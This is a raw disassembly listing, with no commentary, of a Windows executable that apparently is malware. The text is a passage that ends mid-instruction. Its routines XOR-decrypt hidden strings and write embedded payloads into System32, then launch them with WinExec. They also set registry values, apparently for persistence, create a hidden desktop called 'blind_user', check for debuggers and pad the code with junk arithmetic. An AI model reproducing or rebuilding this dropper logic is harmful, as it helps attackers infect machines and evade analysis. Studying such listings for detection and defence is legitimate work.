sub_40C998 ; GetProcessHeap lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_40374B: ; CODE XREF: sub_4036F8+58j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40374B mov edx, eax mov [ebp+var_2], dl lea edi, [ebp+var_49] lea esi, aIT ; "$i'T" mov ecx, 5 rep movsb mov [ebp+var_1], 0 jmp short loc_403783 ; --------------------------------------------------------------------------- loc_40376D: ; CODE XREF: sub_4036F8+95j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [ebx+edx], al add [ebp+var_1], 1 loc_403783: ; CODE XREF: sub_4036F8+73j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_40376D movzx eax, [ebp+var_2] mov byte ptr [ebx+eax], 0 mov [ebp+var_3], 0 jmp short loc_4037B7 ; --------------------------------------------------------------------------- loc_40379D: ; CODE XREF: sub_4036F8+D0j push 1 push offset byte_4475C8 call sub_40366F push eax push ebx call sub_40CE78 add esp, 10h add [ebp+var_3], 1 loc_4037B7: ; CODE XREF: sub_4036F8+A3j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_40379D mov [ebp+var_36], 0Ah movzx eax, [ebp+var_36] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_36], al push [ebp+arg_8] push ebx call sub_40CE78 add esp, 8 mov [ebp+var_3C], 5EB3h sub [ebp+var_3C], 53C4h pop edi pop esi pop ebx leave retn sub_4036F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037FA proc near ; CODE XREF: sub_40AB84+643p var_3C = byte ptr -3Ch var_34 = word ptr -34h var_32 = byte ptr -32h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3Ch push esi push edi mov ax, word_43D1AD mov [ebp+var_34], ax lea edi, [ebp+var_3C] lea esi, aBZ ; "b ~z: " movsd movsd push 1 push offset word_4475C6 call sub_40366F push eax lea edi, [ebp+var_32] push edi push [ebp+arg_0] call sub_4036F8 add esp, 14h lea eax, [ebp+var_32] push eax call sub_40CA04 ; GlobalAddAtomA call sub_40C9C8 ; GetTickCount pop edi pop esi leave retn sub_4037FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403845 proc near ; CODE XREF: sub_4038DA+4Fp ; .text:004039B3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43D1C0 lea eax, ds:40F770h[eax] push eax call sub_40CE18 add esp, 0Ch mov [ebp+var_4], 37Bh xor edi, edi jmp short loc_40388A ; --------------------------------------------------------------------------- loc_403873: ; CODE XREF: sub_403845+47j mov eax, dword_43D1C0 add eax, edi lea eax, ds:40F770h[eax] movsx edx, byte ptr [eax] xor edx, 26h mov [eax], dl inc edi loc_40388A: ; CODE XREF: sub_403845+2Cj cmp edi, esi jl short loc_403873 mov eax, dword_43D1C0 add eax, esi mov byte ptr ds:dword_40F770[eax], 0 mov edi, dword_43D1C0 mov eax, edi add eax, 3 add eax, esi mov dword_43D1C0, eax add dword_43D1C0, 2 cmp dword_43D1C0, 0DB3h jle short loc_4038C9 and dword_43D1C0, 0 loc_4038C9: ; CODE XREF: sub_403845+7Bj mov [ebp+var_8], 0A9h lea eax, dword_40F770[edi] pop edi pop esi leave retn sub_403845 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038DA proc near ; CODE XREF: sub_40AB84+6D3p ; sub_40AB84+6ECp var_10F = word ptr -10Fh var_10D = byte ptr -10Dh var_105 = byte ptr -105h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 110h push esi push edi call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_10D] lea esi, aAtdG ; "AtD> G#" movsd movsd mov [ebp+var_105], 0B9h sub [ebp+var_105], 13h push [ebp+arg_0] lea eax, [ebp+var_104] push eax call sub_40CE54 mov ax, word_43D1CC mov [ebp+var_10F], ax push 1 push offset byte_4475C4 call sub_403845 push eax lea edi, [ebp+var_104] push edi call sub_40CE78 push [ebp+arg_4] lea eax, [ebp+var_104] push eax call sub_40CE78 add esp, 20h call sub_40C944 ; GetCurrentThreadId lea eax, [ebp+var_104] push eax call sub_40CA04 ; GlobalAddAtomA call sub_40C944 ; GetCurrentThreadId pop edi pop esi leave retn sub_4038DA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 118h push esi push edi call sub_40CA58 ; IsDebuggerPresent lea edi, [ebp-10Fh] lea esi, aYr1 ; "yR1 " mov ecx, 5 rep movsb lea edi, [ebp-114h] lea esi, aB ; " ~$" mov ecx, 5 rep movsb push dword ptr [ebp+8] lea eax, [ebp-104h] push eax call sub_40CE54 push 1 push offset byte_4475C4 call sub_403845 push eax lea edi, [ebp-104h] push edi call sub_40CE78 call sub_40C9C8 ; GetTickCount push dword ptr [ebp+0Ch] lea eax, [ebp-104h] push eax call sub_40CE78 add esp, 20h call sub_40C938 ; GetCurrentProcessId loc_4039E1: ; CODE XREF: .text:00403A4Fj lea eax, [ebp-104h] push eax call sub_40CA1C ; GlobalFindAtomA mov edi, eax mov [ebp-10Ah], di mov word ptr [ebp-106h], 698Eh movzx eax, word ptr [ebp-106h] mov edx, eax add edx, eax mov eax, edx mov [ebp-106h], ax cmp word ptr [ebp-10Ah], 0 jz short loc_403A51 mov byte ptr [ebp-107h], 84h movzx eax, byte ptr [ebp-107h] mov edx, eax add edx, eax mov eax, edx mov [ebp-107h], al movzx eax, word ptr [ebp-10Ah] push eax call sub_40CA10 ; GlobalDeleteAtom mov eax, dword_43D1D8 mov [ebp-118h], eax jmp short loc_4039E1 ; --------------------------------------------------------------------------- loc_403A51: ; CODE XREF: .text:00403A1Bj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A55 proc near ; CODE XREF: sub_403AED+78p ; sub_403BBF+43p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43D1E4 lea eax, ds:41EAC0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_403A92 ; --------------------------------------------------------------------------- loc_403A7B: ; CODE XREF: sub_403A55+3Fj mov eax, dword_43D1E4 add eax, edi lea eax, ds:41EAC0h[eax] movsx edx, byte ptr [eax] xor edx, 74h mov [eax], dl inc edi loc_403A92: ; CODE XREF: sub_403A55+24j cmp edi, esi jl short loc_403A7B mov eax, dword_43D1E4 add eax, esi mov byte ptr ds:dword_41EAC0[eax], 0 xor edi, edi mov edi, dword_43D1E4 add dword_43D1E4, 3 mov eax, dword_43D1E4 lea eax, [eax+esi+4] mov dword_43D1E4, eax add dword_43D1E4, 2 cmp dword_43D1E4, 0DC3h jle short loc_403ADC and dword_43D1E4, 0 loc_403ADC: ; CODE XREF: sub_403A55+7Ej mov [ebp+var_4], 0ACh lea eax, dword_41EAC0[edi] pop edi pop esi leave retn sub_403A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403AED proc near ; CODE XREF: sub_403BBF+29p ; sub_403D2D+142p ... var_100C = dword ptr -100Ch var_1006 = word ptr -1006h var_1004 = byte ptr -1004h var_1003 = byte ptr -1003h var_1000 = byte ptr -1000h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 100Ch call sub_40C8BC push edi mov edi, [ebp+arg_0] call sub_40C9D4 ; GetVersion mov [ebp+var_1006], 68A3h inc [ebp+var_1006] push 0FFFh lea eax, [ebp+var_1003] push eax call sub_40C9A4 ; GetSystemDirectoryA mov [ebp+var_1000], 0 push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_100C] push eax push 0FFFh lea eax, [ebp+var_1003] push eax lea eax, [ebp+var_1003] push eax call sub_40C9EC ; GetVolumeInformationA push 4 push offset aQdl ; "QDL," call sub_403A55 push [ebp+var_100C] push eax push edi call sub_40CE54 add esp, 14h call sub_40C9C8 ; GetTickCount and [ebp+var_4], 0 loc_403B83: ; CODE XREF: sub_403AED+B3j mov eax, [ebp+var_4] mov al, [edi+eax] cmp al, 41h jge short loc_403B99 cmp al, 30h jle short loc_403B99 mov eax, [ebp+var_4] add eax, edi add byte ptr [eax], 11h loc_403B99: ; CODE XREF: sub_403AED+9Ej ; sub_403AED+A2j inc [ebp+var_4] cmp [ebp+var_4], 8 jb short loc_403B83 mov [ebp+var_1004], 19h movzx eax, [ebp+var_1004] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1004], al pop edi leave retn sub_403AED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBF proc near ; CODE XREF: sub_40AB84+77Dp var_290 = byte ptr -290h var_288 = byte ptr -288h var_283 = dword ptr -283h var_27F = byte ptr -27Fh var_277 = byte ptr -277h var_274 = byte ptr -274h var_270 = byte ptr -270h var_268 = byte ptr -268h var_267 = byte ptr -267h var_163 = byte ptr -163h var_FF = byte ptr -0FFh push ebp mov ebp, esp sub esp, 290h push ebx push esi push edi call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_268] lea esi, byte_44220A xor ecx, ecx inc ecx rep movsb lea eax, [ebp+var_163] push eax call sub_403AED lea edi, [ebp+var_270] lea esi, aD?dK ; "D-?d# K" movsd movsd push 9 push offset byte_4475B5 call sub_403A55 lea edi, [ebp+var_163] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_FF] push edi call sub_40CE54 call sub_40CA58 ; IsDebuggerPresent lea eax, [ebp+var_FF] push eax call sub_403530 call sub_40C998 ; GetProcessHeap push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_FF] push eax call sub_40CAD0 ; CreateFileA mov ebx, eax call sub_40C9D4 ; GetVersion push 0 lea eax, [ebp+var_274] push eax push 3621h push offset byte_43EBE9 push ebx call sub_40CB48 ; WriteFile lea edi, [ebp+var_277] lea esi, aY ; "*y" mov ecx, 3 rep movsb push ebx call sub_40C9B0 ; CloseHandle lea edi, [ebp+var_27F] lea esi, aCl6gK ; "Cl6g&k&" mov ecx, 2 rep movsd mov eax, dword_44221E mov [ebp+var_283], eax push 104h lea eax, [ebp+var_267] push eax push 0 call sub_40C974 ; GetModuleFileNameA lea edi, [ebp+var_288] lea esi, a89vb ; "89" mov ecx, 5 rep movsb push 1 push offset byte_4475B3 call sub_403A55 push eax lea edi, [ebp+var_FF] push edi call sub_40CE78 lea edi, [ebp+var_290] lea esi, aCkrW@g ; "ckR%W@g" mov ecx, 2 rep movsd lea eax, [ebp+var_267] push eax lea eax, [ebp+var_FF] push eax call sub_40CE78 add esp, 38h call sub_40C9C8 ; GetTickCount push 0 lea eax, [ebp+var_FF] push eax call sub_40CB3C ; WinExec call sub_40C944 ; GetCurrentThreadId pop edi pop esi pop ebx leave retn sub_403BBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403D2D proc near ; CODE XREF: sub_40AB84+30Cp var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2E7 = byte ptr -2E7h var_2E4 = byte ptr -2E4h var_2E0 = byte ptr -2E0h var_2DD = byte ptr -2DDh var_2D8 = byte ptr -2D8h var_2D7 = word ptr -2D7h var_2D5 = byte ptr -2D5h var_2D2 = byte ptr -2D2h var_26E = word ptr -26Eh var_26C = word ptr -26Ch var_26A = byte ptr -26Ah var_269 = byte ptr -269h var_205 = byte ptr -205h var_101 = byte ptr -101h var_FB = byte ptr -0FBh var_FA = byte ptr -0FAh var_F9 = byte ptr -0F9h var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 314h push ebx push esi push edi call sub_40C9D4 ; GetVersion lea edi, [ebp+var_2D5] lea esi, aU3 ; "U3" mov ecx, 3 rep movsb call sub_40C968 ; RtlGetLastWin32Error push 26h push offset dword_44758C call sub_403A55 mov [ebp+var_2F4], eax call sub_40CE3C mov [ebp+var_2F8], eax call sub_40CE3C mov [ebp+var_2FC], eax call sub_40CE3C mov [ebp+var_300], eax call sub_40CE3C mov [ebp+var_304], eax call sub_40CE3C mov [ebp+var_308], eax call sub_40CE3C mov [ebp+var_30C], eax call sub_40CE3C mov [ebp+var_310], eax call sub_40CE3C mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_310] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_30C] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_308] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_304] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_300] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2FC] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2F8] mov eax, edi mov ecx, 0FFFFh cdq idiv ecx push edx mov edi, [ebp+var_2F4] push edi lea edi, [ebp+var_269] push edi call sub_40CE54 mov [ebp+var_26A], 39h add [ebp+var_26A], 1 mov ax, word_442232 mov [ebp+var_2D7], ax lea eax, [ebp+var_2D2] push eax call sub_403AED add esp, 34h mov [ebp+var_26C], 12D3h add [ebp+var_26C], 67C1h lea edi, [ebp+var_2D8] lea esi, byte_442234 xor ecx, ecx inc ecx rep movsb lea edi, [ebp+var_2DD] lea esi, aPg ; " pG!" mov ecx, 5 rep movsb call sub_40CE3C mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_101], dl call sub_40C968 ; RtlGetLastWin32Error mov [ebp+var_1], 1 jmp short loc_403F0F ; --------------------------------------------------------------------------- loc_403EDF: ; CODE XREF: sub_403D2D+1E7j call sub_40CE3C movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_101], dl add [ebp+var_1], 1 loc_403F0F: ; CODE XREF: sub_403D2D+1B0j mov al, [ebp+var_1] cmp al, 8 jbe short loc_403EDF lea edi, [ebp+var_2E0] lea esi, aP ; "p " mov ecx, 3 rep movsb mov [ebp+var_F9], 0 call sub_40CE3C mov edx, eax test dl, 1 jnz short loc_403F54 call sub_40C9C8 ; GetTickCount mov [ebp+var_FB], 33h call sub_40C998 ; GetProcessHeap mov [ebp+var_FA], 32h loc_403F54: ; CODE XREF: sub_403D2D+20Dj push 9 push offset word_447582 call sub_403A55 lea edi, [ebp+var_101] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\System32" push eax lea edi, [ebp+var_205] push edi call sub_40CE54 call sub_40C9C8 ; GetTickCount lea eax, [ebp+var_205] push eax call sub_403530 call sub_40C938 ; GetCurrentProcessId push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_205] push eax call sub_40CAD0 ; CreateFileA mov ebx, eax call sub_40C9D4 ; GetVersion push [ebp+arg_0] mov eax, offset aPnpijd32 ; "Pnpijd32" push eax call sub_40CE54 call sub_40CA58 ; IsDebuggerPresent push 0 lea eax, [ebp+var_2E4] push eax push 1A01h push offset dword_43D1E8 push ebx call sub_40CB48 ; WriteFile lea edi, [ebp+var_2E7] lea esi, aQ ; "q " mov ecx, 3 rep movsb push ebx call sub_40C9B0 ; CloseHandle mov [ebp+var_26E], 4BE6h sub [ebp+var_26E], 1F66h push 17h push offset word_44756A call sub_403A55 ; DATA XREF: .data:0043F179w ; .data:0043F193w ... loc_404014: ; DATA XREF: .data:0043F262w lea edi, [ebp+var_269] push edi push eax sub_403D2D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40401C proc near ; DATA XREF: .data:0043F20Do ; .data:0043F25Cr lea edi, [ebp-101h] push edi call sub_40CE54 ; DATA XREF: .data:0043F256r sub_40401C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404028 proc near ; DATA XREF: .data:0043F23Co ; .data:0043F250r ... lea eax, [ebp-205h] push eax push offset byte_447569 ; DATA XREF: .data:0043F0E5w loc_404034: ; DATA XREF: .data:0043F0EFw ; .data:0043F10Ar ... lea eax, [ebp-101h] push eax push 80000000h ; DATA XREF: .data:0043F104o ; .data:0043F112o call sub_4040C4 call sub_40C968 ; RtlGetLastWin32Error push 0Eh push offset word_44755A call sub_403A55 mov [ebp-314h], eax push 9 push offset dword_447550 call sub_403A55 push eax mov edi, [ebp-314h] push edi lea edi, [ebp-101h] push edi push 80000000h call sub_4040C4 push 45h push offset word_44750A call sub_403A55 ; DATA XREF: .data:0043F094w lea edi, [ebp-269h] ; DATA XREF: .data:0043F099w ; .data:0043F0B5w push edi loc_404094: ; DATA XREF: .data:0043F5F4w ; .data:0043F5FAr ... lea edi, [ebp-2D2h] push edi push eax sub_404028 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40409C proc near ; DATA XREF: .data:0043F51Eo push 80000002h call sub_4040C4 add esp, 80h ; DATA XREF: sub_43F670+Co lea edi, [ebp-2EEh] lea esi, aNnNX ; "nN#n=X" mov ecx, 7 ; DATA XREF: sub_43F670+1Co rep movsb sub_40409C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4040BF proc near ; DATA XREF: .data:0043FE38o pop edi pop esi pop ebx leave retn sub_4040BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040C4 proc near ; CODE XREF: sub_404028+18p ; sub_404028+54p ... var_19 = word ptr -19h var_17 = dword ptr -17h var_13 = byte ptr -13h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_C] lea edi, [ebp+var_13] lea esi, aFB ; "$f'" mov ecx, 5 rep movsb inc dword_43C23C mov eax, dword_44224C mov [ebp+var_17], eax mov ax, word_442250 mov [ebp+var_19], ax and [ebp+var_4], 0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_40CD40 ; RegCreateKeyExA mov [ebp+var_E], 631Fh inc [ebp+var_E] mov ecx, ebx or eax, 0FFFFFFFFh loc_40412B: ; CODE XREF: sub_4040C4+6Cj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40412B mov [ebp+var_C], eax call sub_40C998 ; GetProcessHeap push [ebp+var_C] push ebx push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call sub_40CD70 ; RegSetValueExA call sub_40CA58 ; IsDebuggerPresent push [ebp+var_4] call sub_40CD4C ; RegCloseKey mov [ebp+var_5], 0Ah movzx eax, [ebp+var_5] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_5], al pop edi pop esi pop ebx leave retn sub_4040C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404170 proc near ; CODE XREF: sub_4041FC+C9p ; sub_4041FC+E9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_44225C lea eax, ds:411D10h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_4041B0 ; --------------------------------------------------------------------------- loc_404196: ; CODE XREF: sub_404170+42j mov eax, dword_44225C add eax, edi lea eax, ds:411D10h[eax] movsx edx, byte ptr [eax] xor edx, 94h mov [eax], dl inc edi loc_4041B0: ; CODE XREF: sub_404170+24j cmp edi, esi jl short loc_404196 mov eax, dword_44225C add eax, esi mov byte ptr ds:dword_411D10[eax], 0 mov edi, dword_44225C inc dword_44225C mov eax, dword_44225C lea eax, [eax+esi+3] mov dword_44225C, eax cmp eax, 0DDEh jle short loc_4041EB and dword_44225C, 0 loc_4041EB: ; CODE XREF: sub_404170+72j mov [ebp+var_4], 121h lea eax, dword_411D10[edi] pop edi pop esi leave retn sub_404170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041FC proc near ; CODE XREF: sub_40AB84+34Ap var_14BC = dword ptr -14BCh var_14B8 = dword ptr -14B8h var_14B3 = byte ptr -14B3h var_14AC = byte ptr -14ACh var_14A5 = byte ptr -14A5h var_14A2 = word ptr -14A2h var_14A0 = byte ptr -14A0h var_149D = byte ptr -149Dh var_149C = byte ptr -149Ch var_1497 = byte ptr -1497h var_1398 = word ptr -1398h var_1396 = word ptr -1396h var_1394 = dword ptr -1394h var_1390 = dword ptr -1390h var_1380 = dword ptr -1380h var_12FC = byte ptr -12FCh var_11FD = byte ptr -11FDh var_10FE = byte ptr -10FEh var_FF = byte ptr -0FFh push ebp mov ebp, esp mov eax, 14BCh call sub_40C8BC push ebx push esi push edi mov ebx, 7E95h add ebx, 79CBh lea edi, [ebp+var_149C] lea esi, aXk ; "xk|#" mov ecx, 5 rep movsb call sub_40CA58 ; IsDebuggerPresent push 0FFh lea eax, [ebp+var_12FC] push eax push 0 call sub_40C974 ; GetModuleFileNameA mov [ebp+var_1390], 94h call sub_40C9D4 ; GetVersion lea eax, [ebp+var_1390] push eax call sub_40C9E0 ; GetVersionExA lea edi, [ebp+var_149D] lea esi, byte_442265 xor ecx, ecx inc ecx rep movsb lea edi, [ebp+var_14A0] lea esi, aI ; "%i" mov ecx, 3 rep movsb cmp [ebp+var_1380], 2 jnz loc_40431F call sub_40C938 ; GetCurrentProcessId push 0FFh lea eax, [ebp+var_FF] push eax call sub_40C9A4 ; GetSystemDirectoryA mov [ebp+var_14B8], 4E5Dh mov eax, [ebp+var_14B8] mov edx, eax add edx, eax mov [ebp+var_14B8], edx push 0Fh push offset word_4474FA call sub_404170 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_11FD] push edi call sub_40CE54 push 0Ah push offset byte_4474EF call sub_404170 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_1497] push edi call sub_40CE54 push 8 push offset word_4474E6 call sub_404170 push eax lea edi, [ebp+var_FF] push edi call sub_40CE78 add esp, 38h jmp loc_4043D0 ; --------------------------------------------------------------------------- loc_40431F: ; CODE XREF: sub_4041FC+8Cj call sub_40CA58 ; IsDebuggerPresent push 0FFh lea eax, [ebp+var_FF] push eax call sub_40C9F8 ; GetWindowsDirectoryA call sub_40CA58 ; IsDebuggerPresent push 0Fh push offset word_4474D6 call sub_404170 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_11FD] push edi call sub_40CE54 mov word ptr [ebp+var_14B8], 38D2h sub word ptr [ebp+var_14B8], 9Dh push 0Eh push offset byte_4474C7 call sub_404170 lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_1497] push edi call sub_40CE54 mov word ptr [ebp+var_14B8+2], 1DC1h movzx eax, word ptr [ebp+var_14B8+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_14B8+2], ax push 0Ch push offset word_4474BA call sub_404170 push eax lea edi, [ebp+var_FF] push edi call sub_40CE78 add esp, 38h mov eax, dword_442269 mov [ebp+var_14BC], eax loc_4043D0: ; CODE XREF: sub_4041FC+11Ej lea eax, [ebp+var_1497] push eax call sub_40C908 ; DeleteFileA mov ax, word_44226D mov [ebp+var_14A2], ax lea edi, [ebp+var_14A5] lea esi, byte_44226F mov ecx, 3 rep movsb push 0 push 80h push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_11FD] push eax call sub_40CAD0 ; CreateFileA mov ebx, eax mov [ebp+var_1394], 223Ch add [ebp+var_1394], 322Fh push 39h push offset dword_447480 call sub_404170 lea edi, [ebp+var_11FD] push edi lea edi, [ebp+var_12FC] push edi lea edi, [ebp+var_12FC] push edi push eax lea edi, [ebp+var_10FE] push edi call sub_40CE54 add esp, 1Ch mov [ebp+var_1396], 4109h movzx eax, [ebp+var_1396] imul eax, 6070h mov [ebp+var_1396], ax lea ecx, [ebp+var_10FE] or eax, 0FFFFFFFFh loc_404487: ; CODE XREF: sub_4041FC+290j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_404487 push 0 lea esi, [ebp+var_14AC] push esi push eax lea edi, [ebp+var_10FE] push edi push ebx call sub_40CB48 ; WriteFile mov [ebp+var_1398], 6700h movzx eax, [ebp+var_1398] imul eax, 772h mov [ebp+var_1398], ax push ebx call sub_40C9B0 ; CloseHandle lea edi, [ebp+var_14B3] lea esi, aBzvype ; "BzVYpE" mov ecx, 7 rep movsb push 8 push offset aCC ; "紻״" call sub_404170 add esp, 8 lea edi, [ebp+var_11FD] push edi lea edi, [ebp+var_FF] push edi push eax lea edi, [ebp+var_10FE] push edi call sub_40CE54 add esp, 10h call sub_40C938 ; GetCurrentProcessId push 0 lea eax, [ebp+var_10FE] push eax call sub_40CB3C ; WinExec call sub_40CA58 ; IsDebuggerPresent pop edi pop esi pop ebx leave retn sub_4041FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404525 proc near ; DATA XREF: sub_43F771+A6o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_442284 lea eax, ds:430DA0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_404562 ; --------------------------------------------------------------------------- loc_40454B: ; CODE XREF: sub_404525+3Fj mov eax, dword_442284 add eax, edi lea eax, ds:430DA0h[eax] movsx edx, byte ptr [eax] xor edx, 74h mov [eax], dl inc edi loc_404562: ; CODE XREF: sub_404525+24j cmp edi, esi jl short loc_40454B mov eax, dword_442284 add eax, esi mov byte ptr ds:dword_430DA0[eax], 0 xor edi, edi mov edi, dword_442284 add dword_442284, 3 mov eax, dword_442284 lea eax, [eax+esi+4] mov dword_442284, eax add dword_442284, 2 cmp dword_442284, 0DC3h jle short loc_4045AC and dword_442284, 0 loc_4045AC: ; CODE XREF: sub_404525+7Ej mov [ebp+var_4], 0ACh lea eax, dword_430DA0[edi] pop edi pop esi leave retn sub_404525 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4045BD proc near ; CODE XREF: sub_4063C4+1E4p ; sub_408C17+1CBp var_8 = dword ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push eax push ebx push esi push edi lea edi, [ebp+var_2] lea esi, dword_44228C xor ecx, ecx inc ecx rep movsb cmp dword_442288, 0 jz short loc_404617 mov [ebp+var_3], 4Ah movzx eax, [ebp+var_3] imul eax, 7338h mov [ebp+var_3], al call sub_40C944 ; GetCurrentThreadId push eax call sub_40CC5C ; GetThreadDesktop mov [ebp+var_8], eax call sub_40C9D4 ; GetVersion mov eax, dword_442288 cmp [ebp+var_8], eax jnz short loc_404645 mov [ebp+var_4], 0A9h add [ebp+var_4], 1 xor eax, eax inc eax jmp short loc_404665 ; --------------------------------------------------------------------------- loc_404617: ; CODE XREF: sub_4045BD+1Dj push 0 push 0C7h push 0 push 0 push 0 push offset aBlind_user ; "blind_user" call sub_40CC44 ; CreateDesktopA mov dword_442288, eax call sub_40C9C8 ; GetTickCount cmp dword_442288, 0 jnz short loc_404645 xor eax, eax jmp short loc_404665 ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_4045BD+4Bj ; sub_4045BD+82j push dword_442288 call sub_40CC50 ; SetThreadDesktop mov ebx, eax mov [ebp+var_1], 99h movzx eax, [ebp+var_1] imul eax, 5AD0h mov [ebp+var_1], al mov eax, ebx loc_404665: ; CODE XREF: sub_4045BD+58j ; sub_4045BD+86j pop edi pop esi pop ebx leave retn sub_4045BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40466A proc near ; CODE XREF: sub_4063C4+26Ap ; sub_408C17+255p var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax mov ecx, 1290h mov eax, 170Eh mul ecx mov [ebp+var_8], eax mov ecx, eax mov eax, [ebp+arg_0] lea edx, aBlind_user ; "blind_user" mov [eax+8], edx mov [ebp+var_1], 28h sub_40466A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404690 proc near ; DATA XREF: sub_43F771+5D2o movzx eax, byte ptr [ebp-1] imul eax, 15B8h mov [ebp-1], al leave retn sub_404690 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40469F proc near ; CODE XREF: sub_40472A+65p ; sub_40479E+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_442298 lea eax, ds:417590h[eax] push eax call sub_40CE18 add 